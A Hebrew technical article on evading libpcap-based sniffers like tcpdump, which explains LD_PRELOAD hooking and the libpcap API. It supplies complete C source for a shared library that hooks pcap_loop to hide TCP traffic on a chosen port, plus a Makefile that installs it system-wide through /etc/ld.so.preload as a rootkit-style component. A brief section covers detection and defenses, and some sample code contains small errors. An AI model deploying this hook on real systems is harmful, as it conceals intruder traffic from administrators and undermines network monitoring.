Libpcap Evasion

אמיר שפר

מבוא

במאמר קצר זה אסביר ואדגים כיצד ניתן להסתיר תקשורת מפני תוכנות הסנפה שטוענות בצורה דינאמית את הספריה Libpcap ומשתמשות בפונקציות המרכזיות בה. אשתמש בטכניקה פשוטה מאוד בשם LD_PRELOAD Hooking בעזרתה "נשכתב" את הפונקציה הראשית של הספריה וכך נשנה את פועלם של הכלים הקלאסיים שטוענים אותה בצורה דינאמית כמו Tcpdump.

החלק הראשון של המאמר מתאר שימוש בסיסי בטכניקת ה-Hook ומציג דוגמא פשוטה לשימוש בה. בהמשך המאמר מתואר בצורה מפורטת יחסית שימוש בפונקציות המובנות של Libpcap ובסופו מתוארת הטכניקה שבאמצעותה נחביא פקטות מתוכנות הסנפה כמו Tcpdump.

למרות ששני החלקים הראשונים הכרחיים להבנה מלאה של הקוד שמופיע בסוף המאמר ניתן לעבור ישירות לחלק זה ולהבין את מהלך העניינים בצורה בסיסית.

קריאה מעשירה ומעניינת!

LD_PRELOAD

LD_PRELOAD הוא משתנה מערכת שבעזרתו ניתן לקבוע ELF Shared objects שיטענו לפני כל השאר. כלומר, במידה וקובץ הרצה מקושר באופן דינאמי (Dynamically linked) לספריות אחרות, ניתן לשכתב או להחליף אותן וכך קובץ ההרצה יטען את הפונקציה המשוכתבת לפני הפונקציה המקורית.

מכיוון שארצה להשאיר מאמר זה קצר ועניני ככל הניתן, לא אפרט על ההבדל בין Static & Dynamic Linking.

בדוגמא זו אציג כיצד נוכל לבצע Hook לפונקציה *puts* כך שכל פעם שהתוכנה המקורית תשתמש בפונקציה זו כדי להדפיס פלט למסך המשתמש, נדפיס את הפלט הנבחר בתוספת הודעה משלנו.

הקוד לו נעשה Hook:

```
#include <stdio.h>
// gcc dang.c -o dang

void main() {
        puts("Dang World !");
}
```

כפי שניתן לראות, מדובר בקוד בשפת C שמדפיס למסך המשתמש את המחרוזת "Dang World !".

נבצע Hook לפונקציה *puts* בעזרת הקוד הבא שמגדיר פונקציה בשם *puts* שמקבלת את אותו ערך שמקבלת הפונקציה *puts* המקורית רק שבמקום להדפיס את הערך שהועבר אליה היא מדפיסה אותו בתוספת למחרוזת "Hooked":

```
#include <stdio.h>

int puts(const char *str) {
  printf("Hooked: %s", str);

  return 0;
```

```
}
```

נקמפל קוד זה כספריה שיתופית:

```
$ gcc hook_puts.c -o hook_puts.so -fPIC -shared -ldl
```

ונריץ את קובץ ההרצה dang יחד עם הספריה השיתופית שיצרנו באמצעות שורת ההרצה הבאה:

```
$ LD_PRELOAD=”./hook_puts.so” ./dang
```

הפלט שיצא לנו יהיה כמובן: Hooked: Dang World !

את ההזרקה בסוף המאמר לא אבצע באמצעות משתנה המערכת LD_PRELOAD אלא באמצעות הקובץ / etc/ld.so.preload שיכיל את ההגדרה בעבור כל המשתמשים ולא רק בעבור סשן bash ספציפי.
קובץ זה נמצא תחת התיקייה etc (כך שדרושות הרשאות root כדי לכתוב אליו) והוא מכיל נתיבים לספריות שיתופיות אותן ה-Dynamic Linker יטען לפני שאר הספריות.
בדוגמא הבאה ניתן לראות שקריאת המערכת הכמעט ראשונה שמתבצעת לאחר הרצת הפקודה cat מייצרת ניסיון גישה (שנכשל משום שהקובץ לא מוגדר אצלי במכונה) לקובץ ld.so.preload:

```
 $ strace cat /etc/ld.so.preload
execve("/usr/bin/cat", ["cat", "/etc/passwd"], 0x7ffd67136eb8 /* 50 vars */) = 0
brk(NULL)                               = 0x56393bce3000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffc57e7d890) = -1 EINVAL (Invalid argument)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
...
```

כעת, לאחר שראינו כמה פשוטה טכניקה זו כדי לשכתב פונקציות נוכל לעבור לפונקציות שלשמן התכנסנו.

Libpcap

Libpcap היא ספריה דינאמית בה משתמשים כלי הסנפה קלאסיים כמו Tcpdump ו-Wireshark:

```
$ ldd /sbin/tcpdump | grep libpcap
libpcap.so.0.8 => /lib/x86_64-linux-gnu/libpcap.so.0.8 (0x00007f183de20000)
$ ldd /bin/wireshark
libpcap.so.0.8 => /lib/x86_64-linux-gnu/libpcap.so.0.8 (0x00007f1dcd160000)
```

השימוש בה פשוט מאוד ואדגים אותו בקצרה ואסביר על הפונקציות המרכזיות בה כעת. הדגמה זו נגזרה מהמדריך הראשי לשימוש בLibpcap שנמצא באתר של קבוצת Tcpdump שאחראית על תחזוקת הקוד שלה [1].

כדי להסניף תקשורת באמצעות Libpcap נגדיר חמישה דברים:

1. **Interface** - הממשק עליו נרצה להקליט תקשורת. ישנם סוגי ממשקים רבים: eth0, wlan, lo, any ועוד. בגרסאות קרנל חדשות מסוימות שם הממשק יכול להיות רנדומלי.
2. **אתחול pcap** - נאתחל סשן הסנפה בדומה לדרך בה נפתח Handle לקובץ.

3. **סט חוקים להסנפה** - כדי להגדיר מה נרצה להסניף (נניח, רק תעבורה בפורט מסוים) נהיה מוכרחים ליצור סט חוקים, "לקמפל" אותם ולבסוף להחיל אותם על סשן ההסנפה. סט החוקים מוגדר באמצעות מחרוזת ולאחר מכן מומר לפורמט אותו ה-pcap יכול לקרוא באמצעות תהליך קומפילציה שנעשה על ידי פונקציה מובנית.
4. **הלופ עצמו -** לאחר שהגדרנו את משתני הבסיס, נגדיר ל-Pcap להיכנס ללופ ההרצה שלו. כאשר תגיע פקטה חדשה לממשק ותאושר על ידי סט החוקים שהגדרנו היא "תשלח" לפונקציה שבעזרתה נוכל להציג אותה למשתמש, לשמור אותה בקובץ נפרד או להתעלם ממנה.
5. **סגירת הסשן**

נתחיל בשלב הראשון, מציאת הממשק עליו נרצה להקליט. באתר הרשמי ישנו קוד שמשתמש בפונקציה ישנה יותר שמוצאת רק Device אחד אך בקוד הבא מוצגת דרך באמצעותה נדפיס את רשימת הממשקים עליהם ניתן להקליט כך שהמשתמש יוכל לבחור באיזה ממשק ירצה לקליט [3]:

```
#include<stdio.h>
#include<pcap.h>
// gcc display_all_dev.c -L /lib/x86_64-linux-gnu/libpcap.so.0.8 -lpcap

int main(int argc,char *argv[]){
   char error[PCAP_ERRBUF_SIZE];
   pcap_if_t *interfaces,*temp;
   int i=1;
   if(pcap_findalldevs(&interfaces,error)==-1)
   {
       printf("\nerror in pcap findall devs");
       return -1;
   }

   printf("\n the interfaces present on the system are:\n");
   for(temp=interfaces;temp;temp=temp->next)
   {
       printf("%d: %s",i++,temp->name);

       // Check if there available desc for the device
       if (temp->description){
           printf(" (%s)\n", temp->description);
       }
       else {
           printf(" (Sorry, No description available for this device)\n");
       }
   }
   return 0;
}
```

כך נראית ההרצה של התוכנה על המחשב שלי:

```
$ ./a.out
```

```
the interfaces present on the system are:
1: wlo1 (Sorry, No description available for this device)
2: vmnet1 (Sorry, No description available for this device)
3: vmnet8 (Sorry, No description available for this device)
4: lo (Sorry, No description available for this device)
5: any (Pseudo-device that captures on all interfaces)
6: bluetooth-monitor (Bluetooth Linux Monitor)
7: nflog (Linux netfilter log (NFLOG) interface)
8: nfqueue (Linux netfilter queue (NFQUEUE) interface)
9: bluetooth0 (Bluetooth adapter number 0)
```

הערה קצרה על הפלט: *wlo1* מייצג את כרטיס הרשת של רכיב ה-Wifi במכונה , רכיבים 2 ו-3 מייצגים את כרטיסי הרשת הוירטואלים שמותקנים במכונה, 4 מייצג את ה-Localhost.

לאחר שהצגנו למשתמש את כל הממשקים עליהם ניתן להקליט ובהינתן והמשתמש יזין בעצמו את הממשק עליו ירצה להקליט נוכל לעבור לשלב הבא - אתחול סשן Pcap:
נאתחל סשן באמצעות הפונקציה pcap_open_live. תבנית הפונקציה לקוחה מעמוד ה-man ונראית כך [2]:

```
pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char
*ebuf)
```

- **device** - מצביע לשם ה-Device עליו נרצה להקליט תקשורת.
- **snaplen** - הגודל המקסימלי של ה-Pcap.
- **promisc** - הגדרה שמסמלת האם להעביר את הרכיב למצב Promiscuous.
- **to_ms** - זמן הקריאה במילישניות.
- **ebuf** - מצביע לאזור זיכרון שיכיל בתוכו את הודעת השגיאה של הפונקציה.

תבנית הקוד הבאה שלקוחה מהאתר הראשי, מדגימה כיצד נאתחל סשן על הרכיב ששמור תחת המשתנה *dev*:

```
#include <pcap.h>
...
pcap_t *handle;

handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
if (handle == NULL) {
    fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
    return(2);
}
```

הפונקציה *pcap_open_live* מאתחלת סשן pcap ברכיב ששמור תחת *dev*, כאשר גודל ה-pcap המקסימלי הוא *BUFSIZ* שמוגדר בקובץ pcap.h. הפונקציה שמה את הרכיב במצב Promiscuous (בגדול, במצב זה נאזין לכל התקשורת שעוברת ברכיב ולא רק לתקשורת המיועדת למכונה שלנו. מצב זה רלוונטי במיוחד לכרטיסי רשת אלחוטיים).

לאחר שהגדרנו את הסשן נוכל לעבור לחלק בו נגדיר אילו פקטות יורשו להיכנס למסיבה ואילו לא.

כמו שציינתי קודם לכן, את סינון הפאקטות לא נבצע בעצמנו בעזרת תנאי if/else אלא באמצעות Syntax קבוע אותו נקמפל (Syntax דומה לזה שאנו מכירים מ-Wireshark).
את הקימפול של אותו פילטר נבצע באמצעות הפונקציה הבאה:

```
int pcap_compile(pcap_t *p, struct bpf_program *fp, char *str, int optimize,
bpf_u_int32 netmask)
```

- **p** - מצביע ל-Handle של הסשן שהגדרנו קודם לכן.
- **fp** - מצביע למבנה נתונים מסוג bpf_program בו נשמור את הפלט.
- **str** - מצביע לאזור הזיכרון שמכיל את המחרוזת שמגדירה את הסינון עצמו.
- **netmask** - מכיל את ה-Network mask אליו נרצה להתייחס.

לאחר מכן נשתמש בפונקציה *pcap_setfilter* שתחיל את הפילטר שלנו על הסשן הנוכחי:

```
int pcap_setfilter(pcap_t *p, struct bpf_program *fp)
```

תבנית הקוד הבאה מציגה בקצרה כיצד נפתח Pcap Session על הרכיב *wlo0* שיאזין רק לתקשורת שמגיעה או יוצאת מפורט 53 בלבד:

```
#include <pcap.h>
...
pcap_t *handle;            /* Session handle */
char dev[] = "wlo0";             /* Device to sniff on */
char errbuf[PCAP_ERRBUF_SIZE];   /* Error string */
struct bpf_program fp;           /* The compiled filter expression */
char filter_exp[] = "port 53";   /* The filter expression */
bpf_u_int32 mask;          /* The netmask of our sniffing device */
bpf_u_int32 net;           /* The IP of our sniffing device */

if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
    fprintf(stderr, "Can't get netmask for device %s\n", dev);
    net = 0;
    mask = 0;
}
handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
if (handle == NULL) {
    fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
    return(2);
}
if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {
    fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp,
pcap_geterr(handle));
    return(2);
}
if (pcap_setfilter(handle, &fp) == -1) {
    fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp,
pcap_geterr(handle));
    return(2);
```

```
}
```

כעת הגענו לחלק החשוב ביותר - ההקלטה עצמה.
לאחר שהגדרנו רכיב הקלטה, איתחלנו סשן על גביו והגדרנו פילטר נוכל לפנות לפונקציות ההקלטה עצמן.
ישנן שתי שיטות להקלטה, הראשונה תקליט לנו פקטה אחת בלבד ותתבצע באמצעות הפונקציה *pcap_next* עליה אפרט מייד והשניה תקליט לנו *n* פקטות ועליה אפרט בהמשך.
השלד של הפונקציה pcap_next נראה כך:

```
u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h)
```

- **p** - ה-handle לסשן עצמו.
- **h** - ממצביע למבנה נתונים שמחזיק במידע כללי אודות הפאקטה כגון: הזמן בו הוקלטה, אורכה, ואורך שדות ספציפיים בה.
- **הפונקציה** מחזירה מצביע לאזור הזיכרון בו שמורה הפאקטה.

בסוף המאמר מצורף קטע קוד בשם pcap_next_usage.c שמדגים שימוש בפונקציה זו.

כאשר נקליט פקטות בצורה מחזורית נשתמש בפונקצית חזרה אליה תעבור הפאקטה בכל פעם שתגיע לרכיב.
בהמשך הקריאה תתבהר משמעות המשפט האחרון ובחלק הבא של המאמר ננצל את פונקצית החזרה הזאת כדי לעשות דברים מרושעים.
ישנן שתי פונקציות שמאפשרות לנו להקליט תקשורת בצורה מחזורית: *pcap_dispatch* ו-*pcap_next*. שתי הפונקציות הללו "שולחות" את הפאקטה לפונקצית חזרה במידה והיא תואמת את הפילטר שהוגדר.
ההבדל המרכזי בין שתי הפונקציות הללו הוא ש-*pcap_dispatch* תסיים את פעולתה לאחר סט הפקטות הראשון שיגיע בעוד שהפונקציה pcap_loop תמשיך את פעולתה n פעמים כפי שהוגדר לה במשתנה *cnt*.
הקריאה לפונקציה זו תיראה כך:

```
int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
```

- **p** - ה-Handle לסשן ההסנפה הנוכחי.
- **cnt** - מספר הפאקטות שנרצה שתוקלטנה.
- **callback** - שמה של פונקצית החזרה שתטפל בפאקטה.
- **user** - משתנה אופציונלי שמאפשר להעביר פרמטר נוסף לפונקצית החזרה.

גם לפונקצית החזרה יש פורמט אחיד לדרך בו היא תיקרא והוא מוגדר כך:

```
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char
*packet);
```

אתעמק בהגדרה זו משום שנשתמש בה המשך המאמר.
הפונקציה היא מסוג *void* משום שהפונקציה *pcap_loop* לא משתמשת בה.

- **args** - למעשה זהו המשתנה האופציונלי שהועבר בתור הערך האחרון של pcap_loop ולרוב לא נשתמש בו.
- **header** - מבנה נתונים שמוגדר בקובץ pcap.h ומכיל את הזמן בו נתפסה הפאקטה ואורכה.
- **packet** - מצביע לבייט הראשון של הפקטה עצמה כפי שהוסנפה על ידי pcap_loop.

לאחר מכן, נוכל להשתמש בחלקים שונים בפאקטה בהתאם לסוגה והגדרת הפרוטוקול, שכבה אחרי שכבה בעזרת מבני הנתונים שהגדירו לנו מפתחי הספריה האדיבים:

```
/* Ethernet addresses are 6 bytes */
#define ETHER_ADDR_LEN  6

/* Ethernet header */
struct sniff_ethernet {
   u_char ether_dhost[ETHER_ADDR_LEN]; /* Destination host address */
   u_char ether_shost[ETHER_ADDR_LEN]; /* Source host address */
   u_short ether_type; /* IP? ARP? RARP? etc */
};

/* IP header */
struct sniff_ip {
   u_char ip_vhl;      /* version << 4 | header length >> 2 */
   u_char ip_tos;      /* type of service */
   u_short ip_len;     /* total length */
   u_short ip_id;      /* identification */
   u_short ip_off;     /* fragment offset field */
#define IP_RF 0x8000        /* reserved fragment flag */
#define IP_DF 0x4000        /* don't fragment flag */
#define IP_MF 0x2000        /* more fragments flag */
#define IP_OFFMASK 0x1fff   /* mask for fragmenting bits */
   u_char ip_ttl;      /* time to live */
   u_char ip_p;        /* protocol */
   u_short ip_sum;     /* checksum */
   struct in_addr ip_src,ip_dst; /* source and dest address */
};
#define IP_HL(ip)       (((ip)->ip_vhl) & 0x0f)
#define IP_V(ip)        (((ip)->ip_vhl) >> 4)

/* TCP header */
typedef u_int tcp_seq;

struct sniff_tcp {
   u_short th_sport;   /* source port */
   u_short th_dport;   /* destination port */
   tcp_seq th_seq;     /* sequence number */
   tcp_seq th_ack;     /* acknowledgement number */
   u_char th_offx2;    /* data offset, rsvd */
#define TH_OFF(th)  (((th)->th_offx2 & 0xf0) >> 4)
   u_char th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
```

```
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
   u_short th_win;     /* window */
   u_short th_sum;     /* checksum */
   u_short th_urp;     /* urgent pointer */
};
```

בעזרת מבני הנתונים הללו נוכל לרוץ על הפאקטה שטווח הזיכרון שלה מתחיל בכתובת עליה מצביע *packet* ולמצוא את החלקים שמעניינים אותנו ביעילות.

The evasion itself

כל הדוגמאות בחלק זה נבדקו על קרנל מערכת ההפעלה הבאה:

```
$ hostnamectl
Operating System: Ubuntu 20.04.1 LTS
Kernel: Linux 5.4.0-58-generic
Architecture: x86-64
```

לאחר שלמדנו כיצד ניתן להשתמש ב-Libpcap ואיך נראית הפונקציה המרכזית בו נוכל לעבור לחלק המעניין באמת - דריסה של הפונקציה, שימוש בקריאה אלי כדי לבצע מניפולציה משלנו והטמעה של הקוד שלנו כספריה שיתופית שתיטען לפני קבצי הרצה על ידי ה-ld.
הקוד שלנו יבצע את השלבים הבאים:

1. הגדרת מספר פורט אותו נרצה להחביא. בדוגמא שתוצג בהמשך, כל תקשורת TCP שפורט המקור או היעד שלה יהיה 4200 תוחבא מפני Tcpdump.
2. יצירת פונקציית Hook לפונקציה *puts* בדיוק כמו שביצענו בדוגמא בתחילת המאמר. פונקציה זו תיתן לנו אינדיקציה מהירה שה-Hook אכן הצליח. כמובן שפונקציה זו תשתמש אותנו רק בסביבת Debug.
3. יצירה של פונקציה חדשה בשם *pcap_loop* שמקבלת בדיוק את אותם פרמטרים של הפונקציה *pcap_loop* המקורית אותה אנחנו דורסים.
4. בתוך הפונקציה *pcap_loop* שיצרנו נגדיר מצביע לפונקציה המקורית כדי שנוכל להמשיך להשתמש גם בה.
5. מתוך הפונקציה *pcap_loop* ניצור קריאה לפונקציה המקורית רק שבמקום להעביר את פונקצית ה-callback שהוגדרה על ידי Tcpdump נגדיר פונקצית callback בעצמנו.
6. פונקצית הcallback שלנו תבדוק בעבור כל פאקטה אם הפורט שלה זהה לפורט אותו נרצה להחביא ובמידה והוא לא יהיה כזה, היא תקרא לפונקציית ה-callback שהוגדרה על ידי Tcpdump כך שהמשתמש לא ירגיש שנעשה הוק.

הקוד המלא מצורף בתחתית המאמר יחד עם קובץ Makefile והוראות כיצד ניתן להשתמש בו.

השלב הראשון - הגדרת פורט אותו נחביא:

```
int mystery_tcp_port = 4200;
```

יצירת הפונקציה שתבצע Hook לפונקציה *puts* תתבצע בדיוק כמו בדוגמא בתחילת המאמר והיא תראה כך:

```
int puts(const char *str) {
   // This function used to check that the hook succeeded for debug purpose

   printf("Hooked: %s\n", str);
   return 0;
}
```

השלב הבא מורכב קצת יותר ולכן אסביר אותו בפירוט רב יותר:

- בשלב הראשון אנחנו מגדירים פונקציה בשם *pcap_loop* שהיא **זהה לחלוטין** במבנה שלה לפונקציה המקורית.
- אנחנו שומרים משתנה חדש שמכיל את הערך של פונקצית ה-callback שהועברה לפונקציה על ידי תוכנת ההסנפה. במקרה הזה מדובר בפונקציה ששומרת ומציגה את הפאקטות שהוסנפו למשתמש.
- אנחנו מכריזים על מצביע חדש בשם *original_pcap_loop* שיצביע על הSymbol של הפונקציה המקורית כדי שנוכל להמשיך להשתמש בה לאחר שדרסנו אותה.
- אנחנו משתמשים בפונקציה *dlsym* שמוצאת את המיקום הבא של הסימבול *pcap_loop* שמצביע על הפונקציה המקורית.
- אנחנו משתמשים בפונקציה המקורית *pcap_loop* בעזרת הקריאה ל-*original_pcap_loop* רק שהפעם במקום להעביר את פונקצית ה-callback המקורית שהועברה על ידי Tcpdump אנחנו מעבירים את פונקצית ה-callback שלנו שנקראת *got_packet*.

```
int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user) {
   /* This function is the override function that hook the original pcap_loop*/

   printf("Deubg: pcap_loop hooked.\n");
   original_callback = callback; // Save original callback func for later use
   int (*original_pcap_loop)(pcap_t *p, int cnt, pcap_handler callback, u_char
*user);  // Declare new function that has the same properties of pcap_loop
   original_pcap_loop = dlsym(RTLD_NEXT, "pcap_loop"); // Find the next symbol that
points to the original pcap_loop and set original_pcap_loop to point on this symbol
   original_pcap_loop(p, cnt, got_packet, user); // Call the original pcap_loop but
instead of use original callback function, use got_packet()
   return 0;
}
```

פונקצית ה-callback שלנו בנויה במבנה הסטנדרטי של פונקציית callback אליה *pcap_loop* פונה (כפי שתואר קודם לכן במאמר) והיא מכילה חלקים אותם לא אציג כעת שבודקים חלקים שונים בפאקטה בעזרת מבני הנתונים שהוגדרו על ידי מפתחי הספרייה.
החלק המרכזי בה בנוי כך:

- הפונקציה בודקת שמדובר בפקטה שמכילה פרוטוקול TCP.
- במידה ומדובר בפאקטה כזאת, היא מחלצת את מספר הפורט ובודקת האם מדובר בפורט אותו בחרנו להסתיר.

- במידה ולא מדובר בפורט זה, היא מבצעת קריאה ל-*original_callback* שהיא הפונקציה המקורית שהוגדרה ב-Libpcap וכך אנחנו שומרים על הכוונה המקורית של תוכנת ההסנפה.

```
// if TCP
if(p_iphdr->protocol==6) {
    struct tcphdr *p_tcphdr;
    p_tcphdr = (struct tcphdr *)(packet + 14 + 20);
    int sport = ntohs(p_tcphdr->source);
    int dport = (char*)ntohs(p_tcphdr->dest);

    // If src or dest is equal to the mystery port number
    if (dport == mystery_tcp_port || sport == mystery_tcp_port){
        printf("\nBudim's mysterious port used!!\n");
        printf("TCP: src port:%d dest
port:%d\n",ntohs(p_tcphdr->source),(char*)ntohs(p_tcphdr->dest));
        printf("src ip:%s  dest ip:%s\n",src, dest);
        return ;
    } else {
        // If we don't want to hide the packet, call the original callback that was
defined by sniffer coder
        if (original_callback){
            original_callback(args, pkthdr, packet);
            printf("\nDebug: called original_callback\n");
        }
    }
}
```

התגוננות

מתקפה זו קלה מאוד לאיתור בחקירת דיסק על ידי בדיקת תוכן הקובץ /etc/ld.so.preload או באמצעות חילוץ הקובץ מהזיכרון באמצעות הפקודה:

```
$ vol.py -f out.mem --profile=”profile” linux_find_file -f /etc/ld.so.preload
```

כמו כן, ניתן להשתמש בפלאגינים ספציפיים של Volatility כמו ld_preload_check שמאתרים מתקפות מסוג זה.

ישנן כמה דרכים שימושיות להגן מפניה:

- קימפול סטטי של הכלי לא יאפשר דריסה של פונקציות שנטענות בצורה דינאמית.
- כלי הסנפה שעושה שימוש ישיר ב-Raw Socket (כמו Wireshark) יראה גם את הפאקטות האלה. תוקף יכול למנוע גם גילוי כזה בעזרת Hook ל-Syscall של פתיחת Raw socket.
- ישנן שיטות מתקדמות להתחמקות מהקלטת תקשורת שפועלות בקרנל ומשלבות רכיבים קרנליים כמו Netfilter ו-BPF. שיטות אלה מאפשרות התחמקות כמעט מוחלטת מכלי הסנפה מקומיים עליהן ארחיב מעט במאמר המשך.

Bibliography and reference list

1. הסבר על Libpcap בלינק: www.tcpdump.org/pcap.html
2. עמוד ה-man של libpcap בשם `man pcap`
3. על שימוש בפונקציה pcap_findalldev ניתן לקרוא בפוסט זה:
http://embeddedguruji.blogspot.com/2014/01/pcapfindalldevs-example.html
4. על Hooking באמצעות LD_PRELOAD ניתן לקרוא בפוסט זה:
https://blog.netspi.com/function-hooking-part-i-hooking-shared-library-function-calls-in-linux/
5. על השכבות בהן עובדת Libpcap ניתן לקרוא בתשובה הזאת:
https://superuser.com/questions/925286/does-tcpdump-bypass-iptables
6. על שימוש ב-Raw Sockets ניתן לקרוא במאמר זה:
https://www.opensourceforu.com/2015/03/a-guide-to-using-raw-sockets/
7. עמוד הגיט של התוסף ld_preload_check נמצא בכתובת זו:
https://github.com/tubesurf/LFE#walk
8. עמוד הגיט של Userland rootkit בשם Azazel שמבצע בין השאר Hook לפונקציה pcap_loop אך בצורה שונה מזאת שהודגמה כאן: https://github.com/chokepoint/azazel

sniffer_callback_hook.c

```c
#define _GNU_SOURCE // For RTLD_NEXT
#include <stdio.h>
#include <dlfcn.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <pcap.h>
#include <sys/time.h>
#include <time.h>
#include <linux/tcp.h>
#include <linux/ip.h>
#include <linux/if_ether.h>

#define ETHERTYPE_IP 0x0800

int mystery_tcp_port = 4200; // Port number we wish to hide
pcap_handler original_callback;

void got_packet(u_char *args, const struct pcap_pkthdr *pkthdr, const u_char
*packet) {
   /* This function is the callback function that used by pcap_loop before the
original callback */

   struct ethhdr *eptr;
   eptr = (struct ethhdr*)packet;
   struct in_addr saddr,daddr;

   // If not eth proto
   if((ntohs(eptr->h_proto) !=ETHERTYPE_IP)) {
       return;
   }
   struct iphdr *p_iphdr;
   p_iphdr = (struct iphdr *)(packet + 14);
   char *src=NULL,*dest=NULL;
   saddr.s_addr = p_iphdr->saddr;
   src = inet_ntoa(saddr);
   daddr.s_addr = p_iphdr->daddr;
   dest = inet_ntoa(daddr);

   // if TCP
   if(p_iphdr->protocol==6) {
       struct tcphdr *p_tcphdr;
       p_tcphdr = (struct tcphdr *)(packet + 14 + 20);
       int sport = ntohs(p_tcphdr->source);
       int dport = (char*)ntohs(p_tcphdr->dest);
```

```
        // If src or dest is equal to the mystery port number
        if (dport == mystery_tcp_port || sport == mystery_tcp_port){
            printf("\nBudim's mysterious port used!!\n");
            printf("TCP: src port:%d dest
port:%d\n",ntohs(p_tcphdr->source),(char*)ntohs(p_tcphdr->dest));
            printf("src ip:%s  dest ip:%s\n",src, dest);
            return ;
        } else {
            // If we don't want to hide the packet, call the original callback that
was defined by sniffer coder
            if (original_callback){
                original_callback(args, pkthdr, packet);
                printf("\nDebug: called original_callback\n");
            }
        }
    } else{
        // If we don't want to hide the packet, call the original callback that was
defined by sniffer coder
        if (original_callback){
            original_callback(args, pkthdr, packet);
            printf("\nDebug: called original_callback\n");
        }
    }
}

int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user) {
    /* This function is the override function that hook the original pcap_loop*/

    printf("Deubg: pcap_loop hooked.\n");
    original_callback = callback; // Save original callback func for later use
    int (*original_pcap_loop)(pcap_t *p, int cnt, pcap_handler callback, u_char
*user);  // Declare new function that has the same properties of pcap_loop
    original_pcap_loop = dlsym(RTLD_NEXT, "pcap_loop"); // Find the next symbol that
points to the original pcap_loop and set original_pcap_loop to point on this symbol
    original_pcap_loop(p, cnt, got_packet, user); // Call the original pcap_loop but
instead of use original callback function, use got_packet()
    return 0;
}

int puts(const char *str) {
    // This function used to check that the hook succeeded for debug purpose

    printf("Hooked: %s\n", str);
    return 0;
}
```

Makefile for sniffer_callback_hook.c

```
INSTALL=/lib

CFLAGS+= -Wall
LDFLAGS+= -lc -ldl -lutil

all: libudim.so

libudim.so: sniffer_callback_hook.c
   $(CC) -fPIC -g -c sniffer_callback_hook.c
   $(CC) -fPIC -shared -Wl,-soname,libudim.so sniffer_callback_hook.o $(LDFLAGS) -o
libudim.so
   strip libudim.so

install: all
   @echo [-] Initiating Installation Directory $(INSTALL)
   @test -d $(INSTALL) || mkdir $(INSTALL)
   @echo [-] Installing budim
   @install -m 0755 libudim.so $(INSTALL)/
   @echo [-] Injecting budim
   @echo $(INSTALL)/libudim.so > /etc/ld.so.preload

uninstall:
   @rm $(INSTALL)/libudim.so
   @rm /etc/ld.so.preload

test:
   sudo tcpdump port 4200 or port 4201

clean:
   rm libudim.so *.o
```

הוראות קימפול

- כדי לקמפל את הקוד כספריה שיתופית נריץ את הפקודה `make`
- לאחר מכן, נתקין נזריק את הספריה לקובץ ld.so.preload בעזרת הפקודה `make install`
- ננקה את הלכלוך שהשארנו אחרינו במהלך תהליך הקימפול בעזרת הפקודה `make clean`
- נוכל לבדוק את ההזרקה בעזרת הרצת הפקודה `make test` ובדיקה שאכן אנחנו רואים הודעת Debug שמודיעה לנו שה-Hook בוצע בהצלחה
- כדי להסיר את הכלי נריץ את הפקודה `make uninstall`

pcap_next_usage.c

```c
#include <pcap.h>
#include <stdio.h>
// gcc pcap_next_usage.c -L /lib/x86_64-linux-gnu/libpcap.so.0.8 -lpcap

int main(int argc, char *argv[]){
   pcap_t *handle;         /* Session handle */
   char *dev;          /* The device to sniff on */
   char errbuf[PCAP_ERRBUF_SIZE];  /* Error string */
   struct bpf_program fp;      /* The compiled filter */
   char filter_exp[] = "port 53";  /* The filter expression */
   bpf_u_int32 mask;       /* Our netmask */
   bpf_u_int32 net;        /* Our IP */
   struct pcap_pkthdr header;  /* The header that pcap gives us */
   const u_char *packet;       /* The actual packet */

   /* Define the device */
   dev = pcap_lookupdev(errbuf);
   if (dev == buf);
   if (dev == NULL) {
       fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
       return(2);
   }
   /* Find the properties for the device */
   if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
       fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf);
       net = 0;
       mask = 0;
   }
   /* Open the session in promiscuous mode */
   handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
   if (handle == NULL) {
       fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
       return(2);
   }
   /* Compile and apply the filter */
   if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {
       fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp,
pcap_geterr(handle));
       return(2);
   }
   if (pcap_setfilter(handle, &fp) == -1) {
       fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp,
pcap_geterr(handle));
       return(2);
   }
   /* Grab a packet */
```

```
    packet = pcap_next(handle, &header);
    /* Print its length */
    printf("Jacked a packet with length of [%d]\n", header.len);
    /* And close the session */
    pcap_close(handle);
    return(0);
}
```